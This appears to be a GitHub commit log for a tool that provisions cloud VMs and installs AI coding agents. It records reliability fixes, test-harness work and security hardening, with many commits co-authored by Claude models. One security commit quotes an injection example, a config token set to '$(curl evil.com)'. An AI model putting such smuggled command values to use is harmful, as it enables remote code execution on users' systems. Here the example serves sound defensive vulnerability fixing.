Commit graph

159 commits

Author SHA1 Message Date
A
ae4aa90bb2
fix: gh CLI setup on remote VMs — pass local token through (#1444)
Fixes GitHub CLI authentication on remote VMs by passing local token through to remote installation script. Uses printf '%q' for safe shell escaping to prevent command injection.
2026-02-18 18:22:33 +00:00
A
56fda1435a
feat: collect all auth prompts before server provisioning (#1445)
Move OpenRouter OAuth and model selection prompts to run BEFORE
server provisioning in spawn_agent(). Previously the user had to
wait for the server to spin up before being prompted for their
API key and model choice. Now all interactive prompts (GitHub auth,
OpenRouter OAuth, model selection) happen upfront, then the server
provisions without further user interaction.

Co-authored-by: lab <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-18 09:54:51 -08:00
A
f3ffb6caed
fix: broken error message in multi-creds validation, predictable temp path (#1442)
1. _multi_creds_validate referenced undefined help_url variable, causing
   empty "Get new credentials from: " error messages when OVH credential
   validation fails. Added help_url as parameter and pass it from caller.

2. _spawn_inject_env_vars (used by 130+ agent scripts via spawn_agent)
   uploaded credentials to static /tmp/env_config path. The older
   inject_env_vars_ssh/inject_env_vars_cb functions document this as a
   symlink attack vector and use randomized paths. Fixed to match.

3. Removed dead inject_env_vars_fly and inject_env_vars_sprite functions
   (all agent scripts now use spawn_agent -> _spawn_inject_env_vars).

Agent: code-health

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-18 07:51:28 -05:00
Ahmed Abushagur
f2795a6d84
fix: Node.js v22 upgrade, aider uv install, SSH & cloud reliability (#1440)
* fix: use uv --upgrade to ensure Python 3.13-compatible Pillow across all clouds

aider-chat on Python 3.13 fails with `ImportError: cannot import name
'_imaging' from 'PIL'` when an old Pillow version (pre-10.4) is resolved
— those releases have no Python 3.13 binary wheels, so the C extension
is missing at runtime.

Replace `--with 'Pillow>=10.2.0'` (which was silently broken — the `>`
and single quotes get mangled by `printf '%q'` in run_server before the
command reaches the remote machine) with `--upgrade`, which forces all
transitive deps including Pillow to their latest compatible versions.

Also adds a plain-text echo before the install so users see progress
instead of a silent hang during the 2-4 minute install.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test: update aider/gptme/interpreter assertions from pip to uv

The install method for aider, gptme, and open-interpreter was changed
from pip to `uv tool install` across all clouds. The mock test
assertions still checked for the old `pip.*install.*` patterns, causing
9 failures (3 agents × 3 clouds).

Update patterns to match the actual `uv tool install` commands now used
in all cloud scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* ci: trigger test run for uv assertion fix

* fix: prevent SSH hangs, restore stderr, fix command escaping across clouds

- Add < /dev/null to ssh_run_server and generic_ssh_wait to prevent SSH
  stdin theft causing sequential install/verify/configure steps to hang
- Add ServerAliveInterval, ServerAliveCountMax, ConnectTimeout to default
  SSH_OPTS so long-running installs don't silently drop on flaky networks
- Remove 2>/dev/null from Fly.io run_server so remote command errors are
  no longer silently swallowed (--quiet flag still suppresses flyctl noise)
- Fix Fly.io printf '%q' double-quoting: remove extra quotes around
  $escaped_cmd that prevented the remote shell from consuming escapes,
  breaking && || | operators in commands
- Remove broken printf '%q' from Daytona run_server and interactive_session
  where it escaped shell operators into literal characters since daytona exec
  has no intermediate shell layer
- Pin aider to --python 3.12 instead of --with audioop-lts across all clouds

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add --pty to fly ssh console for interactive sessions

fly ssh console -C does not allocate a pseudo-terminal by default,
causing interactive TUI agents (aider, claude) to fail with
"Input is not a terminal (fd=0)" or completely unresponsive input.

Adding --pty forces PTY allocation, matching how other clouds handle
interactive sessions (SSH uses -t, Sprite uses -tty).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: prepend ~/.local/bin to PATH in ssh_run_server

After uv installs to ~/.local/bin, the current shell session doesn't
have it in PATH, causing "uv: command not found" on DigitalOcean and
all other SSH-based clouds (Hetzner, AWS, GCP, OVH).

Fly.io's run_server already prepends this PATH — now the shared
ssh_run_server does the same, fixing all SSH-based clouds at once.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add Node.js to cloud-init for all cloud providers

npm-based agents (codex, kilocode, etc.) fail with "npm: command not
found" because Node.js isn't installed during cloud-init. Fly.io was
the only provider installing Node.js (in wait_for_cloud_init).

Now all cloud-init scripts install Node.js v22 LTS from nodesource,
matching Fly.io's setup. Also adds ~/.local/bin to PATH in AWS and
GCP cloud-init (was already in shared/DigitalOcean/Hetzner).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: use apt packages for nodejs/npm instead of nodesource

The nodesource setup script (setup_22.x) runs its own apt-get update
and repository configuration, nearly doubling cloud-init time and
causing hangs on DigitalOcean. Ubuntu 24.04 includes nodejs and npm
in its default repos — just add them to the packages list.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add timeouts and better error handling to Daytona CLI commands

Daytona CLI commands (login, list, create) can hang indefinitely when
the API is slow or unreachable. This causes:
- "Failed to create sandbox: timeout" with no recovery
- Token validation timeouts misreported as "invalid token"
- Users re-entering valid tokens that also timeout

Fixes:
- Wrap all daytona CLI calls with timeout (30s for auth, 120s for create)
- Detect timeout errors separately from auth errors
- Show actionable "try again / check status" messages for timeouts
- Add nodejs/npm to Daytona wait_for_cloud_init

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: set DAYTONA_API_URL to Daytona Cloud by default

The Daytona CLI may default to connecting to a local self-hosted
server instead of Daytona Cloud. Without DAYTONA_API_URL set to
https://app.daytona.io/api, every CLI command (login, list, create)
hangs trying to reach a non-existent local server and times out.

The SDK documents this as the default, but the CLI doesn't always
pick it up — now we export it explicitly.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: symlink n-installed Node.js v22 over apt v18 to prevent shadowing

n installs Node.js v22 to /usr/local/bin/node but apt's v18 at
/usr/bin/node can shadow it in non-interactive SSH sessions. After
n 22, symlink the new binaries over the apt ones so v22 is always
resolved. Also fix hcloud CLI token extraction for new TOML format.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: address security review, add curl timeouts to trigger workflows

- Fix ssh_run_server command injection concern: use single-quoted
  path_prefix so $HOME/$PATH expand remotely, not locally
- Add --connect-timeout 15 --max-time 30 to trigger workflows to
  prevent 5-min hangs when server streams responses
- Handle 409 (dedup) as success — expected when cron fires every 15min
  but cycles take 35min
- Reduce workflow timeout-minutes from 5 to 2

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-18 06:54:07 -05:00
Ahmed Abushagur
db4aaa0c73
fix: prevent SSH hangs, fix command escaping, pin Python 3.12 for aider (#1439)
* fix: use uv --upgrade to ensure Python 3.13-compatible Pillow across all clouds

aider-chat on Python 3.13 fails with `ImportError: cannot import name
'_imaging' from 'PIL'` when an old Pillow version (pre-10.4) is resolved
— those releases have no Python 3.13 binary wheels, so the C extension
is missing at runtime.

Replace `--with 'Pillow>=10.2.0'` (which was silently broken — the `>`
and single quotes get mangled by `printf '%q'` in run_server before the
command reaches the remote machine) with `--upgrade`, which forces all
transitive deps including Pillow to their latest compatible versions.

Also adds a plain-text echo before the install so users see progress
instead of a silent hang during the 2-4 minute install.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* test: update aider/gptme/interpreter assertions from pip to uv

The install method for aider, gptme, and open-interpreter was changed
from pip to `uv tool install` across all clouds. The mock test
assertions still checked for the old `pip.*install.*` patterns, causing
9 failures (3 agents × 3 clouds).

Update patterns to match the actual `uv tool install` commands now used
in all cloud scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* ci: trigger test run for uv assertion fix

* fix: prevent SSH hangs, restore stderr, fix command escaping across clouds

- Add < /dev/null to ssh_run_server and generic_ssh_wait to prevent SSH
  stdin theft causing sequential install/verify/configure steps to hang
- Add ServerAliveInterval, ServerAliveCountMax, ConnectTimeout to default
  SSH_OPTS so long-running installs don't silently drop on flaky networks
- Remove 2>/dev/null from Fly.io run_server so remote command errors are
  no longer silently swallowed (--quiet flag still suppresses flyctl noise)
- Fix Fly.io printf '%q' double-quoting: remove extra quotes around
  $escaped_cmd that prevented the remote shell from consuming escapes,
  breaking && || | operators in commands
- Remove broken printf '%q' from Daytona run_server and interactive_session
  where it escaped shell operators into literal characters since daytona exec
  has no intermediate shell layer
- Pin aider to --python 3.12 instead of --with audioop-lts across all clouds

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: add --pty to fly ssh console for interactive sessions

fly ssh console -C does not allocate a pseudo-terminal by default,
causing interactive TUI agents (aider, claude) to fail with
"Input is not a terminal (fd=0)" or completely unresponsive input.

Adding --pty forces PTY allocation, matching how other clouds handle
interactive sessions (SSH uses -t, Sprite uses -tty).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-18 04:23:15 -05:00
Ahmed Abushagur
d9e6d058e0
fix: use uv --upgrade to ensure Python 3.13-compatible Pillow across all clouds (#1436)
aider-chat on Python 3.13 fails with `ImportError: cannot import name
'_imaging' from 'PIL'` when an old Pillow version (pre-10.4) is resolved
— those releases have no Python 3.13 binary wheels, so the C extension
is missing at runtime.

Replace `--with 'Pillow>=10.2.0'` (which was silently broken — the `>`
and single quotes get mangled by `printf '%q'` in run_server before the
command reaches the remote machine) with `--upgrade`, which forces all
transitive deps including Pillow to their latest compatible versions.

Also adds a plain-text echo before the install so users see progress
instead of a silent hang during the 2-4 minute install.

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-18 03:21:59 -05:00
Ahmed Abushagur
633ce8eaac
feat: upgrade default server sizes, fix Fly.io agent installs, improve E2E tests (#1428)
- Upgrade default VM sizes across clouds for better agent performance:
  - Hetzner: cpx11 → cx23 (with cx22 fallback support for deprecated types)
  - DigitalOcean: s-2vcpu-2gb → s-2vcpu-4gb
  - Daytona: 2048MB → 4096MB memory
  - Oracle: VM.Standard.E2.1.Micro → VM.Standard.A1.Flex
  - OVH: d2-2 → d2-4
- Fix Fly.io agent failures:
  - Add Node.js + build-essential to wait_for_cloud_init (fixes npm-based agents)
  - Prepend PATH in interactive_session (fixes "source not found" errors)
- Fix openclaw installs across clouds: use explicit PATH export instead of source
- Fix DigitalOcean token validation (check "uuid" not "id")
- Fix AWS cloud-init: chown .bashrc/.zshrc to ubuntu user
- Improve Hetzner fallback: add "cheapest available" as last-resort fallback
- Upgrade E2E tests: per-combo auto-fix, credential collection, robustness fixes

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-17 22:17:08 -08:00
Ahmed Abushagur
22b6a402f4
feat: E2E test harness, QA pipeline integration, macOS compat linter (#1425)
* feat: add QA upgrade — macOS compat linter, per-agent mock assertions

Layer 1: macOS compat linter (test/macos-compat.sh)
- 12 rules (MC001–MC012) catching bash 3.2 incompatibilities
- Detects: base64 -w0 file args, non-portable echo flags, source <(),
  ((var++)), read -d, nounset flag, sed -i, date %N, local -n,
  declare -A, ${var,,}, and |&
- Added to CI lint.yml in warn-only mode for burn-in
- Integrated as Phase 0.5 in qa-dry-run.sh

Layer 2: Per-agent mock assertions
- test/fixtures/_shared_agent_assertions.sh with install checks
  for all 15 agents (claude, openclaw, aider, goose, etc.)
- Integrated into test/mock.sh via _run_agent_assertions()

Also includes branch fixes:
- Fix base64 -w0 to use stdin redirect (aws, daytona, fly)
- Fix fly/openclaw to use npm install instead of broken curl|bash

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* feat: add E2E test harness and integrate into QA pipeline

Add test/e2e.sh — a full E2E test harness that provisions real servers,
installs agents, and verifies setup across all clouds. Features:
- Smoke test (one canary agent per cloud) and full matrix modes
- Credential auto-detection for 8 clouds
- Per-cloud preflight validation (sequential) then parallel agent tests
- Stale server cleanup, timing history, cross-cloud comparison
- Auto-fix and optimization phases via Claude agents
- macOS bash 3.2 compatible

Integrate E2E as Phase 5 in both qa-cycle.sh and qa-dry-run.sh:
- Runs after mock tests pass, gated on cloud credentials
- Phase 5b auto-fixes failures using per-agent worktree branches
- Parses results and includes in QA summary

Also fixes:
- shared/common.sh: honour SPAWN_NON_INTERACTIVE=1 in safe_read()
- aws/lib/common.sh: fix SSH key import (use cat instead of base64,
  handle race condition on concurrent imports)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-17 20:41:07 -05:00
A
266fdd9a1d
security: prevent command injection in key-request.sh env var loading (#1415)
* security: prevent command injection in key-request.sh env var loading

Fixes #1405

**Why:**
The _try_load_env_var function loaded API tokens from ~/.config/spawn/{cloud}.json
without validating the value for shell metacharacters. If an attacker could write
malicious config files (e.g., {"HCLOUD_TOKEN": "$(curl evil.com)"}), the injected
commands would execute when the variable was later used in unquoted contexts.

**Changes:**
- Added regex validation in _try_load_env_var (line 88-91) to reject values
  containing shell metacharacters: ; ' " < > | & $ ` \ ( )
- Matches the same pattern used in validate_api_token() from shared/common.sh
- Now returns error and logs security warning if malicious characters detected

**Impact:**
Blocks command injection attacks via config file poisoning. API tokens must now
be clean alphanumeric strings (as they should be from legitimate providers).

Agent: security-auditor

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* security: strengthen key-request.sh regex to block all shell metacharacters

Address security review feedback from PR #1415.

**Changes:**
- Replace blocklist regex with whitelist: `^[a-zA-Z0-9._/@-]+$`
- Now blocks `!`, `{`, `}`, `#`, newlines, tabs, and all other metacharacters
- Update comment to clarify defense-in-depth purpose
- Change error message to match validate_api_token() pattern

**Why whitelist approach:**
API tokens from legitimate cloud providers only contain alphanumeric
characters plus safe chars (-, _, ., /, @). Whitelist is more robust
than trying to enumerate all dangerous shell metacharacters.

-- pr-maintainer

---------

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-17 13:53:49 -05:00
A
aff3b73850
security: fix medium/low findings from scan (#1395)
* security: fix medium severity findings from scan #763

Addresses remaining medium-severity security findings from issue #763:

1. **Path traversal in invalidate_cloud_key** (shared/key-request.sh)
   - Removed dots from provider name validation regex
   - Changed from ^[a-z0-9][a-z0-9._-]{0,63}$ to ^[a-z0-9][a-z0-9_-]{0,63}$
   - Prevents path traversal via sequences like "foo..bar"

2. **Background process timeout** (shared/key-request.sh)
   - Wrapped fire-and-forget key request in timeout 15s
   - Prevents leaked subprocess if curl hangs beyond --max-time

3. **Rate limiting IP spoofing** (.claude/skills/setup-agent-team/key-server.ts)
   - Switched from x-forwarded-for header to server.requestIP(req)
   - Uses actual connection IP instead of spoofable header

Agent: security-auditor
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* fix: add macOS portability for timeout command

Address review feedback from security team - timeout command is not available
on macOS by default. Added fallback pattern that:
- Uses timeout on Linux (prevents subprocess leak)
- Falls back to curl --max-time only on macOS

This ensures request_missing_cloud_keys() works on both platforms.

Agent: pr-maintainer
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* security: fix command injection vulnerability in key-request.sh

Fixes the critical command injection vulnerability identified in security review.

Changes:
- Use positional parameters ($1, $2, $3) instead of variable interpolation in bash -c
- Pass variables via -- delimiter to prevent shell escaping issues
- Replace echo with printf for proper formatting (macOS bash 3.x compat)
- Maintain timeout wrapper on Linux and curl --max-time fallback on macOS

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

---------

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-17 09:29:20 -05:00
A
7544dd0dcb
feat(cli): add spawn name for each run (#1397)
Implements spawn name feature (#1372) to improve UX:
- Add optional spawn name prompt in interactive mode
- Pass spawn name via SPAWN_NAME env var to shell scripts
- Shell scripts use spawn name as default for resource names
- Store spawn name in history for future reference
- Bump CLI version to 0.4.0

The spawn name is prompted before agent/cloud selection and
automatically used as the default for platform-specific resource
names (server name on Hetzner, sprite name on Sprite, etc.).

Agent: ux-engineer

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-17 08:05:17 -05:00
Ahmed Abushagur
14d36d1e1d
fix: Fly.io SSH reliability and app name UX (#1388)
* fix: re-prompt on taken Fly.io app names + timeout run_server

Two fixes for Fly.io UX:

1. When app name is globally taken by another user, re-prompt instead
   of failing. Returns exit code 2 from _fly_create_app so create_server
   can loop with a new name.

2. run_server now has a 5-minute timeout (portable, no coreutils needed)
   to prevent indefinite hangs like the 3-hour SSH session stall.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: wait for SSH before installing tools on Fly.io

The previous wait_for_cloud_init immediately ran apt-get via fly ssh
console on a machine that wasn't SSH-reachable yet, causing indefinite
hangs. Now:

1. _fly_wait_for_ssh polls with a 30s-timeout echo until SSH responds
2. Shows progress at each step instead of suppressing all output
3. Each run_server call has an explicit timeout (10min for apt, 2min
   for bun, 30s for PATH exports)
4. Retries package install once on timeout

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: run fly ssh console in foreground, not background

fly ssh console breaks when backgrounded with & — it needs a foreground
process to establish the connection. Reverted to foreground execution
and use timeout/gtimeout when available (Linux/CI). On macOS where
timeout isn't available, the user can Ctrl+C hung commands.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: ensure bun PATH is available in non-interactive fly ssh sessions

Ubuntu's default .bashrc returns early for non-interactive shells,
so "source ~/.bashrc && bun install -g openclaw" silently fails —
the PATH line at the bottom of .bashrc is never reached.

Fix by prepending ~/.bun/bin to PATH in run_server() so all remote
commands have access to tools installed during wait_for_cloud_init.

Also fix spawn_agent to explicitly handle agent_install failure
instead of relying on set -e (which exits silently).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-17 05:54:34 -05:00
Ahmed Abushagur
999751537d
fix: validate saved tokens + handle FlyV1 auth scheme (#1386)
* fix: validate saved API tokens before use

Tokens loaded from config files (e.g. ~/.config/spawn/fly.json) were
never validated, so expired or revoked tokens would silently pass through
and only fail at the point of use (e.g. app creation). Now the provider's
test function runs on config-file tokens too, falling through to a fresh
prompt if validation fails.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: handle FlyV1 token auth scheme for Fly.io Machines API

Fly.io dashboard tokens use the format "FlyV1 fm2_..." where "FlyV1" is
the authorization scheme itself, not a Bearer token prefix. The script was
always sending "Authorization: Bearer FlyV1 fm2_..." which the API rejects
with "token validation error". Now detects FlyV1-prefixed tokens and sends
them as "Authorization: FlyV1 fm2_..." using custom auth headers.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: make refactor service actually run reliably

Three fixes for the refactor workflow that was producing zero PRs:

1. community-coordinator: Gemini → Sonnet — Gemini doesn't support
   the Task tool, causing a respawn on every single cycle

2. Monitoring loop: replace "sleep 5" (which drifted to sleep 30)
   with explicit short-sleep instructions and CRITICAL rule that
   every turn must include a tool call to stay alive

3. Lifecycle management: explicit shutdown sequence with retry,
   preventing early exit that orphans teammates

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-17 04:31:46 -05:00
A
f412fb69bc
ux: wait for OpenClaw gateway to be ready before launching TUI (#1385)
Fixes #1354 - users experienced a ~30s delay with "gateway not connected"
errors when trying to use OpenClaw immediately after launch.

Root cause: gateway takes time to bind to port 18789, but TUI launched
after only 2 seconds.

Solution: Add wait_for_openclaw_gateway() helper that polls the gateway
port (max 30s) before launching TUI, ensuring immediate usability.

Changes:
- shared/common.sh: Add wait_for_openclaw_gateway() function
- All openclaw.sh scripts (10 files): Replace sleep 2 with gateway readiness check

Agent: ux-engineer

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-17 03:49:53 -05:00
A
5678129126
fix: prevent silent agent installation failures (#1382)
Make install_agent() check exit codes and fail fast when installation
commands return non-zero. Previously, the function would silently
continue even when installations failed due to bash || operators
returning 0.

This fix ensures that installation failures (network timeouts, missing
dependencies, package not found) are caught immediately with actionable
error messages instead of confusing runtime errors during session launch.

Affected ~30 agent scripts using patterns like:
- pip install X 2>/dev/null || pip3 install X
- command -v bun && bun install X || npm install X

Agent: code-health

Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-17 03:11:51 -05:00
A
87184ebbf7
fix(security): validate OAuth code format before file write (#1322)
CRITICAL: Prevent injection via malicious OAuth callback

Vulnerability:
- OAuth code from query param was written directly to file
- Attacker-controlled OAuth provider could inject:
  - Newlines (write multiple files via code="line1\nline2")
  - Control characters to corrupt subsequent parsing
  - Excessively long strings (DoS via disk fill)

Fix:
- Added strict validation: alphanumeric + dash/underscore only
- Length constraint: 16-128 chars (matches real OAuth codes)
- Fail with 400 status if validation fails
- Type coercion (String()) prevents prototype pollution

Impact: HIGH
- Affects: All users running OAuth flow (default auth method)
- Attack vector: Malicious redirect to fake OAuth endpoint
- Severity: Code injection, file system manipulation

Agent: security-auditor

Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 21:04:43 -05:00
A
40514526bd
fix: improve error handling and prevent race conditions in cleanup (#1349)
Three reliability improvements:

1. OAuth session cleanup: Verify PID still exists before killing to prevent
   accidentally killing unrelated processes if PID is reused by the OS.
   Uses kill -0 check before sending SIGTERM.

2. Float arithmetic fallback: Check for python3 availability before using it
   for fractional POLL_INTERVAL support. Falls back to integer seconds with
   explicit comment about potential early timeout.

3. Exit code preservation: Add clarifying comment about exit code capture
   timing in refactor.sh cleanup trap (already correct, now documented).

Agent: code-health

Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 20:30:26 -05:00
A
b540f69248
fix: track OAuth temp directories for cleanup on exit (#1344)
Security review complete. Merge conflict resolved (combined error handling + track_temp_file). All tests passed (80/80). Low-risk reliability fix.
2026-02-16 20:28:35 -05:00
A
e92522f138
fix: add error logging to empty catch blocks in test helpers (#1334)
* fix: add error logging to empty catch blocks in test helpers

Previously, test helper functions had 14 empty catch blocks that
silently swallowed all errors during cleanup operations (reading and
deleting temporary stderr files).

This change adds error logging that:
- Allows expected errors (ENOENT for missing files, exit code 1 for cat)
- Logs unexpected errors to console for debugging

This improves test reliability by surfacing unexpected filesystem or
permission errors that could indicate real problems, while still
allowing the intended best-effort cleanup behavior.

Fixes: Empty catch blocks in 6 test files
Impact: Better test debugging and error visibility

Agent: code-health
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

* fix: improve error handling in Python fallback and directory deletion

1. Python arithmetic fallback (shared/common.sh:713):
   - Changed from: || echo "$((elapsed + 1))"
   - Changed to: explicit if/else with error detection
   - Impact: Python errors are now properly caught instead of masked by ||

2. Unvalidated directory deletion (cli/install.sh:142):
   - Added path validation before rm -rf
   - Checks: path is within dest directory AND directory exists
   - Impact: Prevents accidental deletion if variables are malformed

Both changes improve safety and error visibility without breaking
existing functionality.

Agent: code-health
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>

---------

Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 20:28:30 -05:00
A
2630a5d0d8
security: escape single quotes in OAuth server script generation (#1342)
Prevents potential code injection if malicious parameters containing
single quotes are passed to _generate_oauth_server_script(). The
function embeds bash variables directly into a Node.js script string
using single-quoted JS strings. Without escaping, a crafted parameter
like "foo'; malicious(); '" could break out of the string context.

While current callers use safe values (randomUUID, tempfile paths,
HTML constants), defense-in-depth requires sanitizing at the point
of use to prevent future regressions if callers change.

Fixes: CWE-94 (Code Injection)
Severity: HIGH
Impact: Remote code execution if attacker controls OAuth state token,
       file paths, or HTML content

Agent: security-auditor

Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 20:27:05 -05:00
A
7b9912a7ca
Reduce code complexity by extracting helper functions (#1352)
Refactored two high-complexity functions to improve maintainability:

1. shared/common.sh: Extract install_claude_code() into 5 focused helpers:
   - _finalize_claude_install: Setup shell integration
   - _verify_claude_installed: Check if installation succeeded
   - _install_via_curl: Curl installer method
   - _ensure_nodejs_runtime: Node.js runtime setup
   - _install_via_bun: Bun installer method
   Main function now reads as a clear sequence of steps.

2. cli/src/commands.ts: Simplify credential checking in printQuickStart:
   - Extract checkAllCredentialsReady() for clarity
   - Extract printAuthVariableStatus() to handle auth var display
   - Extract buildCloudCommandHint() for cloud hint formatting
   Reduces complexity and improves readability.

All 80 tests pass. No functional changes.

Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 20:26:15 -05:00
A
42bd3bf96b
fix: add safety checks to prevent destructive rm -rf operations (#1319)
Improves codebase reliability by adding critical safety validations:

1. **cleanup_oauth_session**: Added path validation before rm -rf
   - Prevents accidental deletion if oauth_dir is empty, /, or /tmp
   - Validates path starts with /tmp/ and is not just /tmp itself
   - Prevents catastrophic system damage from failed mktemp

2. **_init_oauth_session**: Added mktemp failure detection
   - Checks if mktemp -d succeeded before using oauth_dir
   - Returns error with actionable message if temp dir creation fails
   - Prevents empty oauth_dir from propagating to rm -rf

3. **refactor.sh SPAWN_ISSUE validation**: Strengthened regex
   - Changed from ^[0-9]+$ to ^[1-9][0-9]*$
   - Prevents SPAWN_ISSUE="0" from creating issue-0 worktrees
   - Ensures issue numbers are positive integers (>= 1)

These fixes prevent potential data loss from edge cases in OAuth
cleanup and refactor service issue handling.

Agent: code-health

Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 20:26:09 -05:00
A
b5e8dbbfc5
security: fix temp file race condition in credential upload (#1333)
HIGH severity: Three functions used hardcoded /tmp/env_config for uploading
API keys, creating a TOCTOU race condition where attackers on multi-user
systems could create symlinks to exfiltrate OPENROUTER_API_KEY and other
credentials.

Fixed by using unpredictable temp file names with mktemp-derived randomness,
matching the secure pattern in write_remote_file_via_callback().

Affected functions:
- inject_env_vars_with_ssh() (line 1094)
- inject_env_vars_local() (line 1128)
- inject_env_vars_cb() (line 1363)

Agent: security-auditor

Co-authored-by: spawn-bot <bot@openrouter.ai>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 20:25:59 -05:00
A
8ba3e97ed6
fix: add critical error handling and input validation (#1356)
- Fix race condition in cleanup_oauth_session: Kill process group to prevent zombie OAuth server processes
- Add mktemp failure handling in _init_oauth_session: Prevents undefined behavior when /tmp is full or inaccessible
- Add env var name validation in generate_env_config: Prevents shell injection via malformed KEY=value pairs

Agent: code-health

Co-authored-by: test-engineer <agent@spawn.local>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
2026-02-16 20:24:30 -05:00
Ahmed Abushagur
758b575658
feat: add server lifecycle management (reconnect + delete) (#1363)
Wire up connection tracking across all 10 clouds so users can reconnect
to and delete previously spawned servers via `spawn list` and `spawn delete`.

Phase 1 - Connection tracking:
- Extend save_vm_connection() with cloud and metadata params
- Add save_vm_connection to create_server() in all cloud libs
- Extend VMConnection with cloud, deleted, deleted_at, metadata fields

Phase 2 - Delete via interactive picker:
- Add "Delete this server" option to spawn list picker
- Build delete scripts that reuse each cloud's destroy_server()
- Confirmation UX with spinner feedback
- Soft-delete marking in history (deleted records show [deleted])

Phase 3 - Standalone delete command:
- spawn delete (aliases: rm, destroy) with interactive picker
- Filter support: spawn delete -a <agent> -c <cloud>

Also improves reconnect hints for Fly (fly ssh console) and
Daytona (daytona ssh) connections.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 17:06:49 -08:00
L
55e6b2e88e
fix: use ~/.spawnrc for env vars instead of inlining into .bashrc (#1362)
Ubuntu's default .bashrc has an interactive-shell guard that exits
early in non-interactive contexts. When SSH runs a command string
(ssh -t user@host -- "cmd"), the shell is non-interactive, so
env vars appended to .bashrc are never loaded — causing Claude Code
to start without OpenRouter credentials and get rejected.

Fix: write env vars to ~/.spawnrc and have .bashrc/.zshrc source it.
Launch commands source ~/.spawnrc directly, bypassing the guard.

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-02-16 17:05:17 -08:00
A
ec81c74594
refactor: introduce cloud adapter + spawn_agent runner system (#1340)
Eliminate ~70% boilerplate across 149 agent scripts by introducing a
standard cloud_* adapter interface and spawn_agent orchestration runner.

Each cloud's lib/common.sh now exports 7 adapter functions (cloud_authenticate,
cloud_provision, cloud_wait_ready, cloud_run, cloud_upload, cloud_interactive,
cloud_label) that wrap cloud-specific operations behind a uniform interface.

Agent scripts define hooks (agent_install, agent_env_vars, agent_launch_cmd,
etc.) and call `spawn_agent "Agent Name"` — the runner handles the full
deployment flow: auth → provision → wait → install → API key → env → config → launch.

- shared/common.sh: add spawn_agent(), _fn_exists(), _spawn_inject_env_vars()
- 10 cloud lib/common.sh files: add cloud_* adapter functions
